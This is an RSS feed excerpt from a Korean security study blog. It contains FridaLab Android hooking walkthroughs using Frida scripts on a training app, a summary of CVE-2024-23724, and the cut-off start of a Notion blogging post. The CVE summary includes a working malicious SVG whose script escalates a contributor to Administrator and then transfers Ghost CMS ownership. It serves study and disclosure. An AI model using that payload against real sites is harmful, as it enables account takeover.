<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/3067654f-b608-40c1-bcc1-6c9b1bdb88a8/image.png" alt=""></p>
<p>별도 xrefs가 없어 Challenge 2 때와 같이 직접 호출해 줘야</p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/3d65f9aa-2c1c-4858-9791-2b4fb3c88561/image.png" alt=""></p>
<h2 id="후킹-코드">후킹 코드</h2>
<p>처음에 아래와 같이 Java.use를 써서 후킹해보았는데 attach가 잘 안 되었음. 그 이유가 무엇인가 알아보니, chall04 같은 경우 chall03과 달리 어디에서도 호출이 안 되다보니 메모리에 로드되지 않은 상태이기 때문이었음.</p>
<pre><code class="language-jsx">// 4
MainActivity.chall04.implementation = function (str) {
    send(&#39;call MainActivity::chall04 with: &#39; + str);
    this.chall04(&#39;frida&#39;);
}</code></pre>
<p>그래서 onCreate에서 바로 호출되는 chall03 함수에서 chall04를 직접 호출하도록 하면 잘 동작</p>
<pre><code class="language-jsx">// 3
var MainActivity = Java.use(&#39;uk.rossmarks.fridalab.MainActivity&#39;);
MainActivity.chall03.implementation = function () {
    send(&#39;call MainActivity::chall03&#39;);
    var result = this.chall03();
    this.chall04(&#39;frida)&#39;)
    send(&#39;chall03 returned: &#39; + result);
    send(&#39;modified result: true&#39;);
    return true;
};</code></pre>
<p>정리하자면 public/private/static 같은 키워드만으로 갈음할 수 없는 개념인 것 같음</p>
<ul>
<li>Java.use의 경우 static 메소드이거나, xrefs가 있는 public 함수처럼 인스턴스가 없는 상황에서도 바로 직접 호출할 수 있는 함수를 후킹할 때 사용 가능</li>
<li>Java.choose의 경우 private 메소드이거나, xrefs가 없는 public 함수처럼 인스턴스가 있어야만 직접 참조 가능한 함수를 후킹할 때 사용 가능</li>
</ul>
<p>최종적으로는 아래 코드와 같이 Java.choose 내에서 chall04 함수를 직접 호출해 주었음</p>
<pre><code class="language-python">Java.perform(function () {
    // 1
    var challenge_01 = Java.use(&#39;uk.rossmarks.fridalab.challenge_01&#39;);
    challenge_01.getChall01Int.implementation = function () {
        send(&#39;challenge_01::getChall01Int called&#39;);
        var result = this.getChall01Int();
        send(&#39;getChall01Int returned: &#39; + result);
        send(&#39;modified result: 1\n&#39;);
        return 1; // Or challenge_01.chall01.value = 1
    };

    // 2, 3, 4
    Java.choose(&#39;uk.rossmarks.fridalab.MainActivity&#39;, {
        onMatch: function (instance) {
            send(&#39;Found instance: &#39; + instance);

            // 2
            send(&#39;call MainActivity::chall02&#39;);
            instance.chall02();

            // 3
            // instance.chall03.implementation = function () {
            //     send(&#39;call MainActivity::chall03&#39;);
            //     var result = instance.chall03();
            //     send(&#39;chall03 returned: &#39; + result);
            //     send(&#39;modified result: true\n&#39;);
            //     return true;
            // }

            **// 4
            send(&#39;call MainActivity:chall04(&quot;frida&quot;)\n&#39;)
            instance.chall04(&#39;frida&#39;);**
        },
        onComplete: function () { }
    });

    // 3
    var MainActivity = Java.use(&#39;uk.rossmarks.fridalab.MainActivity&#39;);
    MainActivity.chall03.implementation = function () {
        send(&#39;call MainActivity::chall03&#39;);
        var result = this.chall03();
        send(&#39;chall03 returned: &#39; + result);
        send(&#39;modified result: true\n&#39;);
        return true;
    };
});
</code></pre>
<h2 id="실행-결과">실행 결과</h2>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/093cb9dc-ae19-4f75-80d1-b23277ecb246/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/4223968e-47b2-4dc8-a5cf-0463cd4bd6c2/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[FridaLab 문제 풀이 #3]]></title>
            <link>https://velog.io/@wisdom_lee/FridaLab-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-3</link>
            <guid>https://velog.io/@wisdom_lee/FridaLab-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-3</guid>
            <pubDate>Fri, 27 Dec 2024 07:09:10 GMT</pubDate>
            <description><![CDATA[<h2 id="준비">준비</h2>
<ol>
<li>Android Studio + AVD (Pixel 5, API 31, x86_64)<ol>
<li><a href="https://www.google.com/aclk?sa=l&amp;ai=DChcSEwj3rbHfjKGFAxXxLHsHHU7LBAAYABAAGgJ0bQ&amp;ase=2&amp;gclid=CjwKCAjwtqmwBhBVEiwAL-WAYThG6mgVwf_gxchi9NabQ847InoIOTJAiAiyIUjXWX95D_uehk-pIhoCWL0QAvD_BwE&amp;sig=AOD64_0fxhKIDWEGL0EuHDZsU_EQOrW7EA&amp;q&amp;nis=6&amp;adurl&amp;ved=2ahUKEwjZ46nfjKGFAxXXsVYBHVlZAyIQ0Qx6BAgCEAE">Download Android Studio</a></li>
</ol>
</li>
<li>frida, frida-server (16.2.1)<ol>
<li><a href="https://github.com/frida/frida">https://github.com/frida/frida</a></li>
</ol>
</li>
<li>Jadx-gui<ol>
<li><a href="https://github.com/skylot/jadx">https://github.com/skylot/jadx</a></li>
</ol>
</li>
<li>adb<ol>
<li><a href="https://developer.android.com/tools/releases/platform-tools?hl=ko">https://developer.android.com/tools/releases/platform-tools?hl=ko</a></li>
</ol>
</li>
<li>Fridalab.apk<ol>
<li><a href="https://rossmarks.uk/blog/fridalab/">https://rossmarks.uk/blog/fridalab/</a></li>
</ol>
</li>
</ol>
<h2 id="문제">문제</h2>
<aside>
❓ Make chall03() return true

</aside>

<h2 id="분석">분석</h2>
<p>크게 분석할 것은 없음. MainActivity 내 chall03()이 public 메소드로 정의되어 있고, onCreate 내 onClick에서 바로 호출함</p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/bfe32bca-2895-4c8f-ad98-12b93fd5ccfe/image.png" alt=""></p>
<h2 id="후킹-코드">후킹 코드</h2>
<p>※ 이제부터 파이썬과 자바스크립트 파일을 별도로 분리</p>
<p>public 메소드이므로 Java.use, Java.choose 두 가지 함수로 호출 가능한데, 어떠한 방식으로든 chall03의 implementation을 수정하여 무조건 true 를 반환하도록 하면 됨</p>
<pre><code class="language-python">Java.perform(function () {
    // 1
    var challenge_01 = Java.use(&#39;uk.rossmarks.fridalab.challenge_01&#39;);
    challenge_01.getChall01Int.implementation = function () {
        send(&#39;challenge_01::getChall01Int called&#39;);
        var result = this.getChall01Int();
        send(&#39;myMethod returned: &#39; + result);
        send(&#39;modified result: 1&#39;);
        return 1; // Or challenge_01.chall01.value = 1
    };

    // 2, 3
    Java.choose(&#39;uk.rossmarks.fridalab.MainActivity&#39;, {
        onMatch: function (instance) {
            send(&#39;Found instance: &#39; + instance);

            // 2
            send(&#39;call MainActivity::chall02&#39;);
            instance.chall02();

            // 3
            // instance.chall03.implementation = function () {
            //     send(&#39;call MainActivity::chall03&#39;);
            //     var result = instance.chall03();
            //     send(&#39;chall03 returned: &#39; + result);
            //     send(&#39;modified result: true&#39;);
            //     return true;
            // }
        },
        onComplete: function () { }
    });

    // 3
    var MainActivity = Java.use(&#39;uk.rossmarks.fridalab.MainActivity&#39;);
    MainActivity.chall03.implementation = function () {
        send(&#39;call MainActivity::chall03&#39;);
        var result = this.chall03();
        send(&#39;chall03 returned: &#39; + result);
        send(&#39;modified result: true&#39;);
        return true;
    };
});</code></pre>
<h2 id="실행-결과">실행 결과</h2>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/8524faaa-7859-48c7-9b7d-9eea5cc2df1f/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/b1537aee-e1d5-437e-8d19-9889da3870f9/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[FridaLab 문제 풀이 #2]]></title>
            <link>https://velog.io/@wisdom_lee/FridaLab-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-2</link>
            <guid>https://velog.io/@wisdom_lee/FridaLab-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-2</guid>
            <pubDate>Fri, 27 Dec 2024 07:07:38 GMT</pubDate>
            <description><![CDATA[<h2 id="준비">준비</h2>
<ol>
<li>Android Studio + AVD (Pixel 5, API 31, x86_64)<ol>
<li><a href="https://www.google.com/aclk?sa=l&amp;ai=DChcSEwj3rbHfjKGFAxXxLHsHHU7LBAAYABAAGgJ0bQ&amp;ase=2&amp;gclid=CjwKCAjwtqmwBhBVEiwAL-WAYThG6mgVwf_gxchi9NabQ847InoIOTJAiAiyIUjXWX95D_uehk-pIhoCWL0QAvD_BwE&amp;sig=AOD64_0fxhKIDWEGL0EuHDZsU_EQOrW7EA&amp;q&amp;nis=6&amp;adurl&amp;ved=2ahUKEwjZ46nfjKGFAxXXsVYBHVlZAyIQ0Qx6BAgCEAE">Download Android Studio</a></li>
</ol>
</li>
<li>frida, frida-server (16.2.1)<ol>
<li><a href="https://github.com/frida/frida">https://github.com/frida/frida</a></li>
</ol>
</li>
<li>Jadx-gui<ol>
<li><a href="https://github.com/skylot/jadx">https://github.com/skylot/jadx</a></li>
</ol>
</li>
<li>adb<ol>
<li><a href="https://developer.android.com/tools/releases/platform-tools?hl=ko">https://developer.android.com/tools/releases/platform-tools?hl=ko</a></li>
</ol>
</li>
<li>Fridalab.apk<ol>
<li><a href="https://rossmarks.uk/blog/fridalab/">https://rossmarks.uk/blog/fridalab/</a></li>
</ol>
</li>
</ol>
<h2 id="문제">문제</h2>
<aside>
❓ Run chall02()

</aside>

<h2 id="분석">분석</h2>
<p>우선 apk 내 chall02() 함수를 찾아보니 MainActivity 내에 존재했고, xrefs 를 찍어 보니 없었음. 따라서 MainActivity에서 호출해주는 코드를 직접 만들어야 함</p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/e6c76bad-32e3-4c20-8c9d-dcd76c7bce73/image.png" alt=""></p>
<h2 id="후킹-코드">후킹 코드</h2>
<h3 id="1차">1차</h3>
<p>Challenge 1 때와 같이 Java.use(MainActivity) 후 onCreate 메소드 내에서 직접 호출을 해주면 되지 않을까 싶었는데 안 됨</p>
<pre><code class="language-python">import frida, sys

def on_message(message, data):
    if message[&quot;type&quot;] == &quot;send&quot;:
        print(f&quot;[+] {message[&#39;payload&#39;]}&quot;)
    else:
        print(message)

def hook():
    jscode = &quot;&quot;&quot;
    Java.perform(function() {
        // 1
        var challenge_01 = Java.use(&quot;uk.rossmarks.fridalab.challenge_01&quot;);
        challenge_01.getChall01Int.implementation = function() {
            send(&quot;challenge_01::getChall01Int called&quot;);
            var result = this.getChall01Int();
            send(&quot;myMethod returned: &quot; + result);
            send(&quot;modified result: 1&quot;);
            return 1;
        };

        // 2
        var MainActivity = Java.use(&quot;uk.rossmarks.fridalab.MainActivity&quot;);
        MainActivity.onCreate.implement = function(v) {
            send(&quot;MainActivity::onCreate called&quot;);
            this.onCreate();
        }
    });
    &quot;&quot;&quot;

    process = frida.get_usb_device().attach(&quot;FridaLab&quot;)
    script = process.create_script(jscode)
    script.on(&quot;message&quot;, on_message)
    script.load()
    sys.stdin.read()

if __name__ == &quot;__main__&quot;:
    hook()
</code></pre>
<h3 id="2차">2차</h3>
<p>찾아 보니 런타임에 올라가 있는 클래스 인스턴스를 후킹할 때는 Java.use가 아닌 Javs.choose를 사용해야 한다고 함 (<a href="https://velog.io/@resur/Java.use-Java.choose-%EC%B0%A8%EC%9D%B4">https://velog.io/@resur/Java.use-Java.choose-차이</a>)</p>
<p>static 메소드가 아닌 경우 instance 메소드에 해당되고, 이 경우 런타임에 로드 된 인스턴스 자체를 후킹 하는 방식으로만 동작함. Java.use와 Java.choose를 사용할 수 있는 경우를 정리하면 아래와 같음</p>
<ul>
<li>Java.use: 함수에 static 키워드가 붙어 있거나, 아니면 public으로 선언되어 별도 객체 생성 없이도 직접 호출 가능한 경우</li>
<li>Java.choose: 함수명에 static 키워드가 붙어 있지 않고, private으 로 선언되어 인스턴스를 통해서만 직접 호출 가능한 경우</li>
</ul>
<blockquote>
<p><code>Java.use</code>를 사용하면 클래스의 메소드에 직접 접근하여 후킹할 수 있습니다. Frida는 내부적으로 래퍼 객체를 생성하여 메소드 호출을 가로채고 수정할 수 있도록 해줍니다.</p>
<p>하지만 주의해야 할 점은 <code>Java.use</code>를 사용하여 후킹한 메소드는 해당 클래스의 모든 인스턴스에 영향을 줍니다. 즉, 후킹된 메소드는 해당 클래스의 모든 객체에서 동일하게 동작하게 됩니다. 따라서 특정 인스턴스에 대해서만 메소드를 후킹하고 싶다면 <code>Java.choose</code>를 사용하여 해당 인스턴스를 찾아 후킹해야 합니다.</p>
<p><code>Java.use</code>를 사용한 메소드 후킹은 간단하고 편리하지만, 클래스의 모든 인스턴스에 영향을 줄 수 있다는 점을 고려해야 합니다.</p>
</blockquote>
<p>Java.choose 인자는 후킹할 클래스명, 콜백 함수이며 콜백 함수는 onMatch와 onComplete로 구성됨. 여기서 유의해야 할 점은 onMatch, onComplete 모두 정의해 줘야 한다는 것 (onComplete 누락시 에러 발생)</p>
<p>아래 코드를 통해 MainActivity 인스턴스를 후킹하고 chall02() 함수를 직접 호출</p>
<pre><code class="language-python">import frida, sys

def on_message(message, data):
    if message[&quot;type&quot;] == &quot;send&quot;:
        print(f&quot;[+] {message[&#39;payload&#39;]}&quot;)
    else:
        print(message)

def hook():
    jscode = &quot;&quot;&quot;
    Java.perform(function() {
        // 1
        var challenge_01 = Java.use(&quot;uk.rossmarks.fridalab.challenge_01&quot;);
        challenge_01.getChall01Int.implementation = function() {
            send(&quot;challenge_01::getChall01Int called&quot;);
            var result = this.getChall01Int();
            send(&quot;myMethod returned: &quot; + result);
            send(&quot;modified result: 1&quot;);
            return 1;
        };

        // 2
        Java.choose(&quot;uk.rossmarks.fridalab.MainActivity&quot;, {
            onMatch: function(instance) {
                send(&quot;Found instance: &quot; + instance);
                send(&quot;call MainActivity::chall02&quot;);
                instance.chall02();
            },
            onComplete: function() {}
        });
    });
    &quot;&quot;&quot;

    process = frida.get_usb_device().attach(&quot;FridaLab&quot;)
    script = process.create_script(jscode)
    script.on(&quot;message&quot;, on_message)
    script.load()
    sys.stdin.read()

if __name__ == &quot;__main__&quot;:
    hook()
</code></pre>
<h2 id="실행-결과">실행 결과</h2>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/483dd5ce-5162-44e0-80fb-e554c2ab318e/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/041e09a7-53ef-4cc8-be41-8ec3b16e9c0b/image.png" alt=""></p>
<h2 id="참고-사항">참고 사항</h2>
<p>아래 코드를 이용해 로드된 모든 클래스를 열거할 수 있음</p>
<pre><code class="language-python">Java.enumerateLoadedClasses({
    &quot;onMatch&quot; : function(className) {
        console.log(className)
    },
    &quot;onComplete&quot; : function() {}
});</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[FridaLab 문제 풀이 #1]]></title>
            <link>https://velog.io/@wisdom_lee/FridaLab-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-1</link>
            <guid>https://velog.io/@wisdom_lee/FridaLab-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-1</guid>
            <pubDate>Fri, 27 Dec 2024 07:05:20 GMT</pubDate>
            <description><![CDATA[<h2 id="준비">준비</h2>
<ol>
<li>Android Studio + AVD (Pixel 5, API 31, x86_64)<ol>
<li><a href="https://www.google.com/aclk?sa=l&amp;ai=DChcSEwj3rbHfjKGFAxXxLHsHHU7LBAAYABAAGgJ0bQ&amp;ase=2&amp;gclid=CjwKCAjwtqmwBhBVEiwAL-WAYThG6mgVwf_gxchi9NabQ847InoIOTJAiAiyIUjXWX95D_uehk-pIhoCWL0QAvD_BwE&amp;sig=AOD64_0fxhKIDWEGL0EuHDZsU_EQOrW7EA&amp;q&amp;nis=6&amp;adurl&amp;ved=2ahUKEwjZ46nfjKGFAxXXsVYBHVlZAyIQ0Qx6BAgCEAE">Download Android Studio</a></li>
</ol>
</li>
<li>frida, frida-server (16.2.1)<ol>
<li><a href="https://github.com/frida/frida">https://github.com/frida/frida</a></li>
</ol>
</li>
<li>Jadx-gui<ol>
<li><a href="https://github.com/skylot/jadx">https://github.com/skylot/jadx</a></li>
</ol>
</li>
<li>adb<ol>
<li><a href="https://developer.android.com/tools/releases/platform-tools?hl=ko">https://developer.android.com/tools/releases/platform-tools?hl=ko</a></li>
</ol>
</li>
<li>Fridalab.apk<ol>
<li><a href="https://rossmarks.uk/blog/fridalab/">https://rossmarks.uk/blog/fridalab/</a></li>
</ol>
</li>
</ol>
<h2 id="문제">문제</h2>
<aside>
❓ Change class challenge_01’s variable ‘chall01’ to : 1

</aside>

<h2 id="분석">분석</h2>
<p>challenge_01 클래스를 보니 아래와 같이 getter 함수 하나가 존재하고 있었음 </p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/e844edab-4dbe-4fce-b7ad-ab3aa303a771/image.png" alt=""></p>
<p>해당 클래스는 MainActivity의 onClick 함수에서만 사용하며, 아래와 같이 getChall01Int 함수를 통해 값을 불러온 뒤, 1인지 비교하여 1인 경우에만 flag 값을 세팅함</p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/be673a08-ff83-4cc2-901b-0ba04def1844/image.png" alt=""></p>
<p>별도 setter 함수가 없어 기본 값으로 세팅되는 것 같고, 아마 0이지 않을까 싶음</p>
<p>해당 클래스의 getChall01Int() 함수를 후킹해서 return 1로 치환해버리면 될 듯</p>
<h2 id="후킹-코드">후킹 코드</h2>
<p>상위 페이지의 베이스 코드 구조를 기반으로 아래와 같이 후킹 코드를 작성함</p>
<pre><code class="language-python">import frida, sys

def on_message(message, data):
    if message[&quot;type&quot;] == &quot;send&quot;:
        print(f&quot;[+] {message[&#39;payload&#39;]}&quot;)
    else:
        print(message)

def hook():
    jscode = &quot;&quot;&quot;
    Java.perform(function() {
    var MyClass = Java.use(&quot;uk.rossmarks.fridalab.challenge_01&quot;);

    MyClass.getChall01Int.implementation = function() {
        send(&quot;getChall01Int called&quot;);
        var result = this.getChall01Int();
        send(&quot;myMethod returned: &quot; + result);
        send(&quot;modified result: 1&quot;);
        return 1;
        };
    });
    &quot;&quot;&quot;

    process = frida.get_usb_device().attach(&quot;FridaLab&quot;)
    script = process.create_script(jscode)
    script.on(&quot;message&quot;, on_message)
    script.load()
    sys.stdin.read()

if __name__ == &quot;__main__&quot;:
    hook()
</code></pre>
<h2 id="실행-결과">실행 결과</h2>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/d28e196f-c1b1-4fe5-b6e6-0997922d2ad5/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/a60bd135-cf33-4a4d-b142-3fc47d1e66aa/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[CVE-2024-23724:Ghost CMS Stored XSS Leading to Owner Takeover]]></title>
            <link>https://velog.io/@wisdom_lee/CVE-2024-23724Ghost-CMS-Stored-XSS-Leading-to-Owner-Takeover</link>
            <guid>https://velog.io/@wisdom_lee/CVE-2024-23724Ghost-CMS-Stored-XSS-Leading-to-Owner-Takeover</guid>
            <pubDate>Fri, 27 Dec 2024 06:57:43 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>📌 원문: <a href="https://rhinosecuritylabs.com/research/cve-2024-23724-ghost-cms-stored-xss/">https://rhinosecuritylabs.com/research/cve-2024-23724-ghost-cms-stored-xss/</a> 포스팅을 보고 공부하며 요약 작성한 글입니다.</p>
</blockquote>
<h1 id="취약점-개요">취약점 개요</h1>
<hr>
<ul>
<li>Rhino Research Team에서 Ghost CMS 애플리케이션의 Stored XSS 취약점을 발견했다.</li>
<li>이 취약점을 이용하면 공격자가 Ghost CMS 인스턴스를 탈취하고 소유권을 뺏어올 수 있다.</li>
<li>소유권을 가져온 뒤 다른 관리자가 해당 공격자의 계정을 삭제할 수 없게 되며, 전체 액세스 권한을 가질 수 있게 된다.</li>
<li>벤더사에서는 해당 취약점을 유효한 벡터로 인식하지 않고 패치하지 않았다. 그래서 취약점을 발견한 Rhino에서 직접 패치를 개발한 뒤 취약점을 공개했다.</li>
<li>PoC: <a href="https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2024-23724">https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2024-23724</a></li>
<li>Pull Request: <a href="https://github.com/TryGhost/Ghost/pull/19646">https://github.com/TryGhost/Ghost/pull/19646</a></li>
</ul>
<h1 id="ghost-cms란">Ghost CMS란?</h1>
<hr>
<ul>
<li><p>Ghost CMS는 워드프레스와 비슷한 Content Management System 이다.</p>
<blockquote>
<p>Ghost CMS는 오픈 소스의 블로그 및 웹사이트를 만들 수 있는 콘텐츠 관리 시스템입니다. 사용자 친화적인 인터페이스와 세련된 디자인을 제공하며, 개발자들이 자유롭게 커스터마이징할 수 있는 환경을 제공합니다. 또한, SEO 최적화 기능과 소셜 미디어 통합 기능 등을 제공하여 웹사이트 운영을 간편하게 합니다.</p>
</blockquote>
</li>
</ul>
<h1 id="cve-2024-23724-stored-xss-in-profile-image">CVE-2024-23724: Stored XSS in Profile Image</h1>
<hr>
<ul>
<li>Ghost CMS에서는 아래와 같이 5가지의 역할이 존재한다.<ol>
<li>Contributors: 로그인 하여 게시물을 작성할 수 있지만 게시할 순 없음</li>
<li>Authors: 새 게시물과 태그를 만들고 게시할 수 있음</li>
<li>Editors: Contributor와 Author를 초대, 관리, 편집할 수 있음</li>
<li>Administrators: 모든 데이터와 설정을 관리할 수 있는 권한을 가짐</li>
<li>Owner: 청구 정보에 액세스 할 수 있는 관리자. (삭제할 수 없음)</li>
</ol>
</li>
<li>취약점을 악용하기 위해서는 프로필 이미지 업로드 기능을 활용해야 하며, 공격자는 위 5가지 역할 중 적어도 하나의 권한은 필요하다.</li>
</ul>
<h1 id="embedding-xss-payload-in-svg">Embedding XSS Payload in SVG</h1>
<hr>
<ul>
<li>프로필 이미지에 SVG 포맷을 허용하는 경우, XSS에 취약할 수 있다.</li>
<li>PNG나 JPG 같은 기본 이미지 포맷과 달리, SVG는 XML 베이스이고 JavaScript를 포함할 수 있기 때문이다.</li>
<li>DOMPurify를 통해 SVG 파일을 Sanitize 하면 이러한 리스크를 방지할 수 있다.</li>
<li>Ghost CMS에서는 DOMPurify와 같은 미티게이션이 적용되어 있지 않아, 악의적으로 조작된 SVG 파일을 프로필 이미지로 업로드하여, 타 사용자가 프로필 이미지를 볼 때 JavaScript가 실행되도록 할 수 있었다.</li>
</ul>
<pre><code class="language-xml">&lt;?xml version=&quot;1.0&quot; standalone=&quot;no&quot;?&gt;
&lt;!DOCTYPE svg PUBLIC &quot;-//W3C//DTD SVG 1.1//EN&quot; &quot;http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd&quot;&gt;
&lt;svg version=&quot;1.1&quot; baseProfile=&quot;full&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot;&gt;
   &lt;rect width=&quot;300&quot; height=&quot;100&quot; style=&quot;fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)&quot; /&gt;
   &lt;script type=&quot;text/javascript&quot;&gt;
      alert(document.domain);
   &lt;/script&gt;
&lt;/svg&gt;</code></pre>
<h1 id="weaponizing-xss-ghost-cms-instance-takeover">Weaponizing XSS: Ghost CMs instance Takeover</h1>
<hr>
<ul>
<li>가장 낮은 권한인 Contributor에서 가장 높은 권한인 Owner 권한을 탈취할 수 있을지?</li>
<li>Owner는 소유권을 다른 사용자에게 양도하는 기능이 존재하는데, 양도할 사용자가 이미 관리자여야 한다.</li>
<li>그래서 Owner가 악성 SVG를 열람했을 때 아래와 같이 동작하도록 페이로드를 구성했다.<ol>
<li>해당 사용자에게 Administrator 권한을 부여한다.</li>
<li>Owner 권한을 부여한다.</li>
</ol>
</li>
<li>Owner 권한이 양도되면 공격자는 다른 관리자가 사용할 수 없는 고유한 권한을 갖게 되고, 다른 관리자가 권한을 삭제할 수도 없게 된다.</li>
<li>페이로드를 구성하기 위해서는 다음 정보가 필요하다.<ul>
<li>User ID</li>
<li>Username</li>
<li>Slug Name</li>
<li>User Email</li>
<li>Admin Role ID (Ghost CMS 인스턴스마다 랜덤하게 업데이트 됨)</li>
</ul>
</li>
<li>위 정보는 인가된 사용자가 <code>http://[Ghost-CMS-Ghost CMS 인스턴스]/ghost/api/admin/users/?include=roles</code> URL에 접속했을 때 얻을 수 있다.</li>
</ul>
<h1 id="poc">PoC</h1>
<hr>
<ul>
<li><p><code>http://[Ghost-CMS-Ghost CMS 인스턴스]/ghost/api/admin/users/?include=roles</code> 를 통해 획득한 정보를 토대로, 아래와 같이 SVG 파일을 생성할 수 있다.</p>
<ul>
<li><p>SVG 파일</p>
<pre><code class="language-xml">  &lt;svg width=&quot;100&quot; height=&quot;100&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot;&gt;
    &lt;script type=&quot;application/ecmascript&quot;&gt;
      // First Request
      const
      url1 = &#39;http://localhost:3001/ghost/api/admin/users/[User-ID]/?include=roles&#39;;
      const data1 = {
        users: [{
          id: &#39;[User-ID]&#39;,
          name: &#39;[User-Name]&#39;,
          slug: &#39;[Slug-Name]&#39;,
          email: &#39;[User-Email]&#39;,
          profile_image: &#39;&#39;,
          bio: &#39;&#39;,
          status: &#39;active&#39;,
          comment_notifications: true,
          free_member_signup_notification: true,
          paid_subscription_started_notification: true,
          paid_subscription_canceled_notification: false,
          mention_notifications: true,
          recommendation_notifications: true,
          milestone_notifications: true,
          donation_notifications: true,
          roles: [{
            id: &#39;[Admin-Role-ID]&#39;,
            name: &#39;Administrator&#39;,
            description: &#39;Administrators&#39;,
          }],
          url: &#39;http://localhost:3001/404/&#39;
        }]
      };

      fetch(url1, {
        method: &#39;PUT&#39;,
        headers: {
          &#39;Content-Type&#39;: &#39;application/json&#39;,
          &#39;x-ghost-version&#39;: &#39;5.75&#39;,
          &#39;app-pragma&#39;: &#39;no-cache&#39;,
          &#39;User-Agent&#39;: &#39;Mozilla/5.0 (Windows NT
      10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
      Gecko) Chrome/117.0.5938.132 Safari/537.36&#39;,
          &#39;Accept&#39;: &#39;*/*&#39;,
          &#39;Origin&#39;: &#39;http://localhost:3001&#39;,
          &#39;Sec-Fetch-Site&#39;: &#39;same-origin&#39;,
          &#39;Sec-Fetch-Mode&#39;: &#39;cors&#39;,
          &#39;Sec-Fetch-Dest&#39;: &#39;empty&#39;,
          &#39;Referer&#39;: &#39;http://localhost:3001/ghost/&#39;,
          &#39;Accept-Encoding&#39;: &#39;gzip, deflate, br&#39;,
          &#39;Accept-Language&#39;: &#39;en-US,en;q=0.9&#39;,
        },
        body: JSON.stringify(data1),
      })
      .then(response =&gt; {
        if (!response.ok) {
          throw new Error(`HTTP error! Status: ${response.status}`);
        }
        return response.json();
      })
      .then(data =&gt; {
        console.log(&#39;First Request Success:&#39;, data);

        // Second Request
        const url2 = &#39;http://localhost:3001/ghost/api/admin/users/owner/&#39;;
        const data2 = {
          owner: [{
            id: &#39;[User-ID]&#39;
          }]
        };

        fetch(url2, {
          method: &#39;PUT&#39;,
          headers: {
            &#39;Content-Type&#39;: &#39;application/json&#39;,
            &#39;x-ghost-version&#39;: &#39;5.75&#39;,
            &#39;app-pragma&#39;: &#39;no-cache&#39;,
            &#39;User-Agent&#39;: &#39;Mozilla/5.0 (Windows NT
      10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
      Gecko) Chrome/117.0.5938.132 Safari/537.36&#39;,
            &#39;Accept&#39;: &#39;*/*&#39;,
            &#39;Origin&#39;: &#39;http://localhost:3001&#39;,
            &#39;Sec-Fetch-Site&#39;: &#39;same-origin&#39;,
            &#39;Sec-Fetch-Mode&#39;: &#39;cors&#39;,
            &#39;Sec-Fetch-Dest&#39;: &#39;empty&#39;,
            &#39;Referer&#39;: &#39;http://localhost:3001/ghost/&#39;,
            &#39;Accept-Encoding&#39;: &#39;gzip, deflate, br&#39;,
            &#39;Accept-Language&#39;: &#39;en-US,en;q=0.9&#39;,
          },
          body: JSON.stringify(data2),
        })
        .then(response =&gt; {
          if (!response.ok) {
            throw new Error(`HTTP error! Status: ${response.status}`);
          }
          return response.json();
        })
        .then(data =&gt; {
          console.log(&#39;Second Request Success:&#39;, data);
        })
        .catch(error =&gt; {
          console.error(&#39;Second Request Error:&#39;, error);
        });
      })
      .catch(error =&gt; {
        console.error(&#39;First Request Error:&#39;, error);
      });
    &lt;/script&gt;
  &lt;/svg&gt;</code></pre>
</li>
</ul>
</li>
<li><p>Owner가 악성 SVG 파일을 열람하고 나면, Contributor 계정이 Owner로 바뀐다.</p>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[노션 블로그 만들기 A to Z - Part 2 (우피 Oopy 이용)]]></title>
            <link>https://velog.io/@wisdom_lee/%EB%85%B8%EC%85%98-%EB%B8%94%EB%A1%9C%EA%B7%B8-%EB%A7%8C%EB%93%A4%EA%B8%B0-A-to-Z-Part-2-%EC%9A%B0%ED%94%BC-Oopy-%EC%9D%B4%EC%9A%A9</link>
            <guid>https://velog.io/@wisdom_lee/%EB%85%B8%EC%85%98-%EB%B8%94%EB%A1%9C%EA%B7%B8-%EB%A7%8C%EB%93%A4%EA%B8%B0-A-to-Z-Part-2-%EC%9A%B0%ED%94%BC-Oopy-%EC%9D%B4%EC%9A%A9</guid>
            <pubDate>Fri, 27 Dec 2024 06:53:22 GMT</pubDate>
            <description><![CDATA[<h1 id="배경">배경</h1>
<hr>
<h2 id="cloudflare를-이용한-호스팅-방식의-단점">Cloudflare를 이용한 호스팅 방식의 단점</h2>
